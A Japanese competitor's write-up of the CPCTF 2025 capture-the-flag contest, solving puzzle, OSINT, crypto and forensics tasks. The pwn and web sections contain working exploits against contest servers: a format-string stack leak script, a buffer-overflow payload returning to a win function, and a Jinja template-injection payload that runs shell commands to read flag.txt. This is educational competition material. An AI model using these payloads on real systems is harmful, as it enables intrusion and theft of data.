この大会は2025/4/18 20:00(JST)~2025/4/20 20:00(JST)に開催されました。
この大会は個人戦。結果は1341.23点で453人中78位でした。
自分で解けた問題をWriteupとして書いておきます。
45^2 (PPC, LV.1)
問題は次の通り。

入力値を2乗して出力すればよい。
以下のコードで通った。
n = int(input()) ans = n ** 2 print(ans)
CPCTF{2025_is_a_squ4r3_numb3r}
Luke or Bishop (PPC, LV.1)
問題は次の通り。

Gxが0またはGyが0の場合は、スタート地点と同じため0になる。
GxまたはGyが0の場合は、ルークで1回で移動できる。
Gxの絶対値, Gyの絶対値が同じ場合は、ビショップで1回で移動できる。
その他、Gx, Gyの合計が偶数の場合、ビショップで2回で移動でき、奇数の場合はルークで2回で移動できる。
以下のコードで通った。
gx, gy = map(int, input().split()) if gx == 0 and gy == 0: print(0) elif gx == 0 or gy == 0: print(1) elif gx == gy or gx == - gy: print(1) else: print(2)
CPCTF{h15y4_0r_k4ku}
Like CPCTF? (PPC, LV.2)
問題は次の通り。

最大30文字から5文字を選択し、1文字目と3文字目が同じで4種類の文字が使われている場合の数を算出する。
以下のコードで通った。
import itertools N = int(input()) S = input() count = 0 for x in itertools.combinations(S, 5): text = ''.join(x) if text[0] == text[2]: if len(set(list(text))) == 4: count += 1 print(count)
CPCTF{Brut3_f0rc3_15_th3_5tr0ng35t}
netcat (Shell, LV.1)
ncで接続するだけ。
$ nc netcat.web.cpctf.space 30009 CPCTF{n3tc4t_1s_4m4z1ng}
CPCTF{n3tc4t_1s_4m4z1ng}
Count CPCTF (Shell, LV.2)
"CPCTF"が含まれている数を答える問題。
PythonのcountメソッドでCPCTFの数を数える。
#!/usr/bin/env python3 with open('count-CPCTF.txt', 'r') as f: data = f.read() count = data.count('CPCTF') flag = 'CPCTF{%d}' % count print(flag)
CPCTF{128196}
XFD (Shell, LV.2)
Excelの列名A,B,C...,Y,Z,AA,AB...ZY,ZZ,AAA,AAB...XFC,XFDを改行区切りで出力し、出力したファイルのSHA256ハッシュを答える問題。
まずA~Z, AA~ZZ, AAA~XFDのリストを作成する。
#!/usr/bin/env python3 from string import * import itertools chars = ascii_uppercase out = '' finish = False for r in range(1, 4): for x in itertools.product(chars, repeat=r): text = ''.join(x) out += text + '\n' if text == 'XFD': finish = True break if finish: break with open('list.txt', 'w') as f: f.write(out)
次に作成したリストのsha256を取得する。
$ sha256sum list.txt 6526814a735caafefa75d482c954e11d49c110f5dc73dce2f951d6b11339c05b list.txt
CPCTF{6526814a735caafefa75d482c954e11d49c110f5dc73dce2f951d6b11339c05b}
Math Test (Shell, LV.3)
足し算の問題が出題されるので、それに答えるスクリプトで対応する。
#!/usr/bin/env python3 import socket def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('mathtest.web.cpctf.space', 30010)) for i in range(1001): print('Round: %d' % (i + 1)) data = recvuntil(s, b'\n').rstrip() print(data) formula = data.split(' = ')[0] ans = eval(formula) print(ans) s.sendall(str(ans).encode() + b'\n') data = recvuntil(s, b'}') print(data)
実行結果は以下の通り。
:
Round: 999
3583 + 1461 = ?
5044
Round: 1000
2939 + 2364 = ?
5303
Round: 1001
4463 + 3844 = ?
8307
Congratulations! The flag is: CPCTF{Aut0mat3_Th3_B0r1n9_5tuff}
CPCTF{Aut0mat3_Th3_B0r1n9_5tuff}
meshitero (OSINT, LV.1)
問題は次の通り。
美味しい美味しい油そば! 画像のメニューの名前を答えてください! ただし、フラグ形式は名前をひらがな表記にして、ヘボン式ローマ字に変換したものを CPCTF{} で囲ったものとします。 例:メニュー名が「美味しい油そば」の場合、フラグは CPCTF{oishiiaburasoba} となります。 ヘボン式ローマ字への変換には、こちらのサイトを利用してください: https://hebonshiki-henkan.info/

画像検索すると、平太周 味庵のメニューであることがわかる。この写真のメニューの名前は、爆盛油脂麺。
CPCTF{bakumoriaburaaburamen}
timetable (OSINT, LV.2)
問題は次の通り。
fileの写真が示している時刻表に該当する駅や停留所の名前をそのまま小文字でヘボン式で表記してください。 例: 大岡山駅:CPCTF{ookayama} 東急バス森91宮が丘停留所:CPCTF{miyagaoka} ヘボン式ローマ字への変換には、こちらのサイトを利用してください: https://hebonshiki-henkan.info/

「バス 富士見・神保町ルート 秋葉原ルート」で検索すると、千代田区 風ぐるまというコミュニティバスの時刻表であることがわかる。
以下のページで運行ルートを見る。
https://www.city.chiyoda.lg.jp/koho/kenko/koresha/gaishutsu/shin-kazaguruma/routemap.html
富士見・神保町ルート 秋葉原ルートしかない停留所は「専修大学法科大学院前」のみである。
CPCTF{senshudaigakuhokadaigakuimmae}
Bench (OSINT, LV.3)
問題は次の通り。
この写真が撮影された場所を特定してください。
ただし、次のフラグ形式で解答して下さい:CPCTF{X-Y}
ここで、X および Y は、それぞれ緯度と経度を10進法で表した数値を以下の手順で変換した整数です。
1. 緯度・経度を小数点以下第5位で四捨五入する。
2. その結果に10000を掛けた値を X,Yとする。
例
撮影地点の座標が緯度 35.6054818...、経度 139.6840248... の場合、
35.6054818 を小数点以下第5位で四捨五入して10000倍すると、X = 356055であり、
139.6840248 を小数点以下第5位で四捨五入すると、139.6840ですから、Y = 1396840です。
よって、フラグはCPCTF{356055-1396840}となります。

ベンチの向こうの柱に漫画が書いてある。その中に水島港、うの港のことが書いてある。
また右片隅に、右に行くとフェリー乗り場があることを示す看板がある。
周囲の感じが駅前のようになっているので、近くに駅がある宇野港の方を見てみる。Google Mapで宇野駅の周辺を散策する。
CPCTF{344939-1339532}
Lethal (OSINT, LV.3)
問題は次の通り。
ドイツの病院を狙ったサイバー攻撃で、患者の死亡との関与が疑われたケースがありました。 この攻撃で使われたマルウェアの(固有の)通称と、悪用された脆弱性の CVE-ID を調べてください。 ただし、フラグ形式は CPCTF{NameOfMalware_CVE-xxxx-xxxx} ( x に数字が入る)とします。 (ex. マルウェアの固有の通称がMaliciousApp、CVE-IDがCVE-1234-5678 のとき、 フラグは CPCTF{MaliciousApp_CVE-1234-5678} となります。)
「Germany hospital cyber attack death malware name」で検索すると、以下のページが見つかる。
https://ifsh.de/en/news-detail/the-duesseldorf-cyber-incident
マルウェアはDoppelPaymerであることがわかる。
「DoppelPaymer CVE」で検索すると、以下のCVEが関係ある。
CVE-2019-19781
CPCTF{DoppelPaymer_CVE-2019-19781}
2025 (Pwn, LV.2)
配布されたソースコードは次のようになっている。
#include <stdio.h> int main() { setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); unsigned int a, b; printf("Happy New Year 2025!\n"); printf("Enter two numbers.\n"); printf("No.1: "); scanf("%u", &a); printf("No.2: "); scanf("%u", &b); if (2025 % a == 0 && 2025 % b == 0) { printf("Failed.\n"); return 0; } unsigned int c = a * b; if (c == 2025) { printf("Congratulations!\n"); system("cat flag.txt"); } else { printf("Failed.\n"); } return 0; }
通常の値ではフラグを表示させる条件を満たすことはできない。
unsigned intの整数オーバーフローを使う。
>>> 4294967296 + 2025 4294969321
この値をfactordbで素因数分解すると、以下のようになる。
53 * 997 * 81281
>>> 53 * 997 52841
52841と81281を入力すれば、条件を満たす。
$ nc 2025.web.cpctf.space 30004 Happy New Year 2025! Enter two numbers. No.1: 52841 No.2: 81281 Congratulations! CPCTF{Uns1gn3d_1nt_c4n_n0t_St0r3_inf1nity}
CPCTF{Uns1gn3d_1nt_c4n_n0t_St0r3_inf1nity}
Flag Guardian (Pwn, LV.3)
配布されたソースコードは次のようになっている。
#include <stdio.h> void init() { setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); } int main() { char input[0x20]; char flag[0x20]; FILE *fp; init(); fp = fopen("flag.txt", "r"); fgets(flag, sizeof(flag), fp); fclose(fp); printf("Do you want to see the flag? (yes/no) "); fgets(input, sizeof(input), stdin); printf("You entered: "); printf(input); printf("\n"); if (input[0] == 'y' && input[1] == 'e' && input[2] == 's') { printf("I can't show whole flag, but here is a part of it: \n"); printf(flag + 0x18); printf("\n"); } else { printf("Bye!\n"); } return 0; }
FSBの脆弱性がある。
いろいろ試した結果、以下のようになった。
$ ./chall Do you want to see the flag? (yes/no) %12$p You entered: 0x676f687b67616c66 Bye!
スタックの12番目からフラグが入っているので、少しずつリークする。
#!/usr/bin/env pythn3 from pwn import * i = 12 flag = b'' while True: p = remote('flag_guardian.web.cpctf.space', 30007) payload = '%' + str(i) + '$p' data = p.recvuntil(b') ').decode() print(data + payload) p.sendline(payload.encode()) data = p.recvline().decode().rstrip() print(data) flag += p64(int(data.split(' ')[-1], 16)) data = p.recvline().decode().rstrip() print(data) data = p.recvline().decode().rstrip() print(data) p.close() if b'}' in flag: break i += 1 flag = flag.rstrip(b'\x00').decode() print(flag)
実行結果は以下の通り。
[+] Opening connection to flag_guardian.web.cpctf.space on port 30007: Done
Do you want to see the flag? (yes/no) %12$p
You entered: 0x72707b4654435043
Bye!
[*] Closed connection to flag_guardian.web.cpctf.space port 30007
[+] Opening connection to flag_guardian.web.cpctf.space on port 30007: Done
Do you want to see the flag? (yes/no) %13$p
You entered: 0x5730705f66746e69
Bye!
[*] Closed connection to flag_guardian.web.cpctf.space port 30007
[+] Opening connection to flag_guardian.web.cpctf.space on port 30007: Done
Do you want to see the flag? (yes/no) %14$p
You entered: 0x6e315f73315f7233
Bye!
[*] Closed connection to flag_guardian.web.cpctf.space port 30007
[+] Opening connection to flag_guardian.web.cpctf.space on port 30007: Done
Do you want to see the flag? (yes/no) %15$p
You entered: 0x7d3374696e6966
Bye!
[*] Closed connection to flag_guardian.web.cpctf.space port 30007
CPCTF{printf_p0W3r_1s_1nfinit3}
CPCTF{printf_p0W3r_1s_1nfinit3}
Wrong Password (Pwn, LV.3)
配布されたソースコードは次のようになっている。
#include <stdio.h> void init() { setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); } void win() { printf("You win!\n"); FILE *fp; char flag[100]; fp = fopen("flag.txt", "r"); fread(flag, sizeof(char), 100, fp); printf("Flag: %s\n", flag); fclose(fp); } int main() { init(); char password[16]; printf("Enter Password: "); scanf("%s", password); printf("Wrong!\n"); return 0; }
BOFでwin関数をコールすればよい。
$ ROPgadget --binary chall | grep ": ret" 0x0000000000401016 : ret 0x0000000000401042 : ret 0x2f 0x000000000040119a : ret 0xfffe 0x00000000004011a1 : retf 0x0000000000401022 : retf 0x2f
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('wrong_password.web.cpctf.space', 30006) else: p = process('./chall') elf = ELF('./chall') ret_addr = 0x401016 win_addr = elf.symbols['win'] payload = b'A' * 24 payload += p64(ret_addr) payload += p64(win_addr) data = p.recvuntil(b': ').decode() print(data, end='') print(payload) p.sendline(payload) for _ in range(3): data = p.recvline().decode().rstrip() print(data)
実行結果は以下の通り。
[+] Opening connection to wrong_password.web.cpctf.space on port 30006: Done
[*] '/mnt/hgfs/Shared/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Enter Password: b'AAAAAAAAAAAAAAAAAAAAAAAA\x16\x10@\x00\x00\x00\x00\x00\xc9\x11@\x00\x00\x00\x00\x00'
Wrong!
You win!
Flag: CPCTF{sh0u1d_sp3CifY_Th3_4m0uNt_of_3ntry}
[*] Closed connection to wrong_password.web.cpctf.space port 30006
CPCTF{sh0u1d_sp3CifY_Th3_4m0uNt_of_3ntry}
What's this? (Binary, LV.1)
$ file rev-whats_this.zip
rev-whats_this.zip: Microsoft Word 2007+
拡張子をdocxにして、Wordで開くと、フラグが書いてあった。
CPCTF{d0cx_1s_a_z1P_4Rch1v3_0f_XmL_fiLeS}
Guessing (Binary, LV.2)
pycをデコンパイルする。
$ ~/pycdc/pycdc chall.pyc # Source Generated with Decompyle++ # File: chall.pyc (Python 3.13) Unsupported opcode: JUMP_BACKWARD (226) flag_enc = 'CQAWB~v^kVi?bRl? bfLdLb_(wEk/ox/rLcMG@[' flag = '' # WARNING: Decompyle incomplete
暗号文字列だけわかる。
CQAWB~v^kVi?bRl? bfLdLb_(wEk/ox/rLcMG@[
"CPCTF{"から始まることを前提に、XORが関係あると推測して確認してみる。
>>> ord('C') ^ ord('C')
0
>>> ord('P') ^ ord('Q')
1
>>> ord('C') ^ ord('A')
2
>>> ord('T') ^ ord('W')
3
>>> ord('F') ^ ord('B')
4
>>> ord('{') ^ ord('~')
5XORの鍵が1ずつ増えていると推測できるので、このことを元に復号する。
>>> ct = 'CQAWB~v^kVi?bRl? bfLdLb_(wEk/ox/rLcMG@['
>>> ''.join([chr(ord(c) ^ i) for i, c in enumerate(ct)])
'CPCTF{pYc_c4n_b00st_pYtH0n_p3rf0RmAnce}'
CPCTF{pYc_c4n_b00st_pYtH0n_p3rf0RmAnce}
Secret Key (Binary, LV.2)
Ghidraでデコンパイルする。
undefined8 main(void) { long in_FS_OFFSET; char local_1a; char local_19; char local_18; char local_17; char local_16; char local_15; char local_14; char local_13; char local_12; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); printf("Too see flag, you need Secret Key. Please enter it:"); __isoc99_scanf(&DAT_0010204c,&local_1a); if ((((((local_12 == 'g') && (local_1a == 'r')) && (local_14 == 'i')) && ((local_15 == 's' && (local_17 == 'e')))) && ((local_13 == 'n' && ((local_18 == 'v' && (local_16 == 'r')))))) && (local_19 == 'e')) { puts("Congraturations!"); printflag(); } else { puts("Wrong Key!"); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
local_1aから順にkeyの文字を並べる。
reversing
$ ./chall Too see flag, you need Secret Key. Please enter it:reversing Congraturations! Flag: CPCTF{h4PPy_b1n4ry_h4ck1nG!}
CPCTF{h4PPy_b1n4ry_h4ck1nG!}
Fortune Teller (Binary, LV.3)
$ ltrace -s 128 ./chall setbuf(0x7f46d60315c0, nil) = <void> setbuf(0x7f46d60314e0, nil) = <void> setbuf(0x7f46d60308e0, nil) = <void> memcpy(0x7ffdcaa72900, "\261\003\0\0\340\005\0\0\251\003\0\0\241\005\0\0\215\002\0\0)\0\0\0=\002\0\0\212\003\0\0?\001\0\0C\001\0\0\251\003\0\0i\005\0\0\345\0\0\0\v\001\0\0\321\003\0\0\026\0\0\0!\002\0\0\262\003\0\0K\003\0\0+\002\0\0'\002\0\0V\005\0\0\v\0\0\0\333\005\0\0%\002\0\0\362\002\0\0\301\0\0\0\326\0\0\0\305\003\0\09\001\0\0\025\003\0\0\362\005\0\0"..., 180) = 0x7ffdcaa72900 puts("Hi! I'm a fourtune teller. If you want to know your fortune, enter the correct flag."Hi! I'm a fourtune teller. If you want to know your fortune, enter the correct flag. ) = 85 printf("Input flag: "Input flag: ) = 12 __isoc99_scanf(0x4020d1, 0x7ffdcaa729f0, 0, 0hoge ) = 1 strcmp("CPCTF{y0u_c4n_s01v3_w1th0ut_r3Ad1nG_4ssembly}", "hoge") = -37 puts("Wrong. Bye."Wrong. Bye. ) = 12 +++ exited (status 0) +++
入力文字列と比較している文字列がフラグになっていた。
CPCTF{y0u_c4n_s01v3_w1th0ut_r3Ad1nG_4ssembly}
Name Omikuji (Web, LV.2)
名前に{{7*7}}を入力して占うと、以下のように表示される。
こんにちは、49さん。
SSTIの脆弱性があることがわかる。
以下を入力し、占う。
{{request.application.__globals__.__builtins__.__import__('os').popen('ls -la').read()}}すると、以下のように表示される。
こんにちは、total 16 drwxr-xr-x 1 root root 4096 Apr 14 15:55 . drwxr-xr-x 1 root root 4096 Apr 18 16:42 .. -rw-r--r-- 1 root root 25 Apr 14 15:54 flag.txt -rw-r--r-- 1 root root 2818 Apr 14 15:54 main.py さん。
次に以下を入力し、占う。
{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read()}}すると、以下のように表示される。
こんにちは、CPCTF{sst1_is_d3ngerou2} さん。
CPCTF{sst1_is_d3ngerou2}
dark (Forensics, LV.1)
StegSolveで開き、Red plane 0を見ると、フラグが現れた。

CPCTF{dark_1mage_may_have_1nformat10n}
Golden Protocol (Forensics, LV.3)
TCP Streamを見てみる。
ストリーム0、1では以下のようになっている。
220 mailhog.example ESMTP MailHog EHLO mailhog.local 250-Hello mailhog.local 250-PIPELINING 250 AUTH PLAIN MAIL FROM:<hinoshita@example.local> 250 Sender hinoshita@example.local ok RCPT TO:<murano@example.local> 250 Recipient murano@example.local ok DATA 354 End data with <CR><LF>.<CR><LF> Date: Sat, 19 Apr 2025 00:29:11 +0900 To: murano@example.local From: hinoshita@example.local Subject: ............................................................ Message-Id: <20250419002911.362665@kenken.> X-Mailer: swaks v20201014.0 jetmore.org/john/code/swaks/ MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_MIME_BOUNDARY_000_362665" Message-ID: <golden@cpctf.local> ------=_MIME_BOUNDARY_000_362665 Content-Type: text/plain ............ .......................................... .................................................................................... .......................................................................................... ........................................................................... ............................................................ ................................. ------=_MIME_BOUNDARY_000_362665 Content-Type: application/octet-stream; name="@secret.zip" Content-Description: @secret.zip Content-Disposition: attachment; filename="@secret.zip" Content-Transfer-Encoding: BASE64 UEsDBBQAAQAAAJmcklqebOwxQAAAADQAAAAIAAAAZmxhZy50eHRc5r9k6PIot3XDQPC6binSb+yI t0pZz9+ijcbJmtApsrspuwXYZcb7eeDfHUD+QnBrdJluOIF9vdaorsUpXlVFUEsBAj8AFAABAAAA mZySWp5s7DFAAAAANAAAAAgAJAAAAAAAAAAgAAAAAAAAAGZsYWcudHh0CgAgAAAAAAABABgAvvHn yU2w2wEAAAAAAAAAAAAAAAAAAAAAUEsFBgAAAAABAAEAWgAAAGYAAAAAAA== ------=_MIME_BOUNDARY_000_362665-- . 250 Ok: queued as psyygzlsCOxV30o6xZMRaPODQlzdy-XJZsZ0wC3CtNI=@mailhog.example QUIT 221 Bye
ストリーム2では以下のようになっている。
220 mailhog.example ESMTP MailHog EHLO mailhog.local 250-Hello mailhog.local 250-PIPELINING 250 AUTH PLAIN MAIL FROM:<hinoshita@example.local> 250 Sender hinoshita@example.local ok RCPT TO:<murano@example.local> 250 Recipient murano@example.local ok DATA 354 End data with <CR><LF>.<CR><LF> Date: Sat, 19 Apr 2025 00:29:21 +0900 To: murano@example.local From: hinoshita@example.local Subject: .............................. Message-Id: <20250419002921.362788@kenken.> X-Mailer: swaks v20201014.0 jetmore.org/john/code/swaks/ Message-ID: <golden@cpctf.local> ............ .................................zip...................................................... QhGjKkL_cBPLX4LdSKWQ ................................................ . 250 Ok: queued as Jqroqu2vWsStilrbs0zcwaUeL_Eo1Why-8sKHWaTyas=@mailhog.example QUIT 221 Bye
@secret.zipをbase64データから抽出する。
#!/usr/bin/env python3 from base64 import * s = ''' UEsDBBQAAQAAAJmcklqebOwxQAAAADQAAAAIAAAAZmxhZy50eHRc5r9k6PIot3XDQPC6binSb+yI t0pZz9+ijcbJmtApsrspuwXYZcb7eeDfHUD+QnBrdJluOIF9vdaorsUpXlVFUEsBAj8AFAABAAAA mZySWp5s7DFAAAAANAAAAAgAJAAAAAAAAAAgAAAAAAAAAGZsYWcudHh0CgAgAAAAAAABABgAvvHn yU2w2wEAAAAAAAAAAAAAAAAAAAAAUEsFBgAAAAABAAEAWgAAAGYAAAAAAA== ''' d = b64decode(s) with open('@secret.zip', 'wb') as f: f.write(d)
抽出したzipファイルを以下のパスワードで解凍する。
QhGjKkL_cBPLX4LdSKWQ
展開されたflag.txtにフラグが書いてあった。
CPCTF{I_l0ve_4pples_4nd_p1n34ppl3s_34827ac28a610940}
I love MD (Forensics, LV.3)
2つの入力欄があり、異なる文字列でmd5の結果衝突するものを指定すればよいらしい。
md5の衝突のサンプルを検索したところ、以下のページが見つかった。
https://www.johndcook.com/blog/2024/03/20/md5-hash-collision/
以下の2つの文字列を指定する。
TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
この結果、フラグが表示された。
CPCTF{d1ff3r3n7_1npu75_h4v3_54m3_h45h}
Heroic Code (Crypto, LV.1)
シーザー暗号と推測し、https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。
Rotation 16:
Hello and thank you for joining the CPCTF! The flag is CPCTF{alea_jacta_est}.
CPCTF{alea_jacta_est}
Add and multiple (Crypto, LV.2)
入力文字列の各ASCIIコードをプラスしてから1000以降の数値を掛け算している。
まず1000以降の数値で割って割り切れる値を探し、あとは順番に逆算していけば、フラグがわかる。
#!/usr/bin/env python3 with open('cipher.txt', 'r') as f: cipher = int(f.read()) for i in range(1000, 1100): if cipher % i == 0: index = i break flag = '' for i in range(index, 999, -1): cipher //= i code = cipher % (i - 1) flag = chr(code) + flag cipher -= code print(flag)
CPCTF{C14ssic4l_Ciph3r_15_fun}
Anomaly (Crypto, LV.3)
RSA暗号で、q, e, n, cがわかっているので、通常通り復号する。
#!/usr/bin/env python3 from output import * from Crypto.Util.number import * q = 0x10001 assert n % q == 0 p = n // q phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag)
CPCTF{You_h4v3_escap3d!_8fa245b1007bc564}
RSA Trial 2025 (Crypto, LV.4)
RSA暗号だが、hintの値がわかるようになっている。
ソースコードは次の通り。
from Crypto.Util.number import getPrime, bytes_to_long from sympy import nextprime from secret import flag p = getPrime(512) q = getPrime(512) r = nextprime(p + q) n = p * q * r hint = p**3 + q**3 + r**3 e = 0x10001 c = pow(bytes_to_long(flag.encode()), e, n) with open("output.py", "w") as f: f.write(f"e = {e}\n") f.write(f"n = {n}\n") f.write(f"c = {c}\n") f.write(f"hint = {hint}\n")
p + q ≒ rと考えると、以下のようになる。
n = p * q * r = p * q * (p + q) = p**2 * q + p * q**2
hint = p**3 + q**3 + r**3 = p**3 + q**3 + (p + q)**3
= 2 * (p + q)**3 - (p + q)**3 + p**3 + q**3
= 2 * (p + q)**3 - 3 * (p**2 * q + p * q**2)
= 2 * (p + q)**3 - 3 * nつまり以下が言える。
(p + q)**3 = (hint + 3 * n) // 2
p + qは(hint + 3 * n) // 2の3乗根に近い値である。この次の素数がrのため、rを割り出すことができる。
これでp*qの値もわかり、p**3 + q**3の値もわかる。
p * q = C1 p**3 + q**3 = C2
この場合以下のように式を変形できる。
p**6 + p**3 * q**3 = C2 * p**3
さらに以下のように式を変形できる。
p**6 - C2 * p**3 + C1**3 = 0
p**3をxとすると、以下のようにxの2次方程式として考えられる。
x**2 - C2 * x + C1**3 = 0
xを算出することができたら、p, qも算出することができ、あとは通常通り復号する。
#!/usr/bin/env python3 from output import * from gmpy2 import * from Crypto.Util.number import * from sympy import * p_add_q = int(iroot((hint + 3 * n) // 2, 3)[0]) r = nextprime(p_add_q) assert n % r == 0 C1 = n // r C2 = hint - r**3 x = Symbol('x') eq = x**2 - C2 * x + C1**3 xs = solve(eq) p, success = iroot(int(xs[0]), 3) assert success q, success = iroot(int(xs[1]), 3) assert success phi = (p - 1) * (q - 1) * (r - 1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag)
CPCTF{tr1pl3_RSA_8011aed45d7c060f}
Feedback Questionnaire (Misc, LV.1)
アンケートに答えたらフラグが表示された。
CPCTF{th4nk_y0u_for_your_partic1pa7ion}